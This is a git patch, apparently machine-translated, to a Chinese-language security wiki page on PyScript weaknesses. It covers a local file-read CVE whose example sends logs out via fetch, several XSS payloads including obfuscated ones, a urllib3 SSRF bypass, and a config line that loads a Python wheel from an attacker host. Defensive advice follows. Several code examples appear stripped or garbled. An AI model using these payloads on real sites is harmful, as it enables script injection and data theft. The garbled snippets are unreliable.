From 764109c8d859f75cff71b301708542de27b31bb6 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 03:10:15 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/pyscript.md' --- .../python/pyscript.md | 76 ++++++++++++++++--- 1 file changed, 66 insertions(+), 10 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/pyscript.md b/src/generic-methodologies-and-resources/python/pyscript.md index f4d639abb..c9f081622 100644 --- a/src/generic-methodologies-and-resources/python/pyscript.md +++ b/src/generic-methodologies-and-resources/python/pyscript.md @@ -10,7 +10,7 @@ PyScript 是一个新框架,旨在将 Python 集成到 HTML 中,因此可以 `CVE ID: CVE-2022-30286`\ \ -代码: +代码: ```html with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out @@ -47,9 +47,9 @@ body: JSON.stringify({ content: btoa(console.logs) }), ``` ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) -### 跨站脚本攻击(普通) +### 跨站脚本攻击 (普通) -代码: +Code: ```python print("") @@ -57,9 +57,9 @@ print("") ``` ![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) -### 跨站脚本攻击 (Python 混淆) +### 跨站脚本攻击 (Python 混淆) -代码: +Code: ```python sur = "\u0027al";fur = "e";rt = "rt" @@ -75,10 +75,10 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) ### 跨站脚本攻击 (JavaScript 混淆) -代码: +Code: ```html -prinht(" +prinht("" -") +"") ``` ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) @@ -154,8 +154,64 @@ while True: print("                              ") ``` -结果: - ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) +--- + +## 新的漏洞与技术 (2023-2025) + +### 通过不受控制的重定向进行的服务器端请求伪造 (CVE-2025-50182) + +`urllib3 < 2.5.0` 在 **PyScript 附带的 Pyodide 运行时** 中执行时忽略 `redirect` 和 `retries` 参数。当攻击者能够影响目标 URL 时,他们可能会强迫 Python 代码遵循跨域重定向,即使开发者明确禁用了它们 ‑ 有效地绕过了反 SSRF 逻辑。 +```html + +``` +在 `urllib3 2.5.0` 中修复 - 在您的 PyScript 镜像中升级该包或在 `packages = ["urllib3>=2.5.0"]` 中固定安全版本。有关详细信息,请参阅官方 CVE 条目。 + +### 任意包加载与供应链攻击 + +由于 PyScript 允许在 `packages` 列表中使用任意 URL,能够修改或注入配置的恶意行为者可以在受害者的浏览器中执行 **完全任意的 Python**: +```html + +packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] + + +``` +*仅需要纯Python轮子 - 不需要WebAssembly编译步骤。* 确保配置不是用户控制的,并在您自己的域上使用HTTPS和SRI哈希托管受信任的轮子。 + +### 输出清理更改 (2023+) + +* `print()` 仍然会注入原始HTML,因此容易受到XSS攻击(上面的示例)。 +* 更新的 `display()` 辅助工具 **默认情况下会转义HTML** - 原始标记必须包装在 `pyscript.HTML()` 中。 +```python +from pyscript import display, HTML + +display("escaped") # renders literally + +display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted +``` +这种行为是在2023年引入的,并在官方内置指南中有记录。依赖 `display()` 处理不受信任的输入,避免直接调用 `print()`。 + +--- + +## 防御最佳实践 + +* **保持软件包更新** – 升级到 `urllib3 >= 2.5.0`,并定期重建与网站一起发布的轮子。 +* **限制软件包来源** – 仅引用 PyPI 名称或同源 URL,理想情况下使用子资源完整性 (SRI) 进行保护。 +* **加强内容安全策略** – 不允许内联 JavaScript (`script-src 'self' 'sha256-…'`),以便注入的 `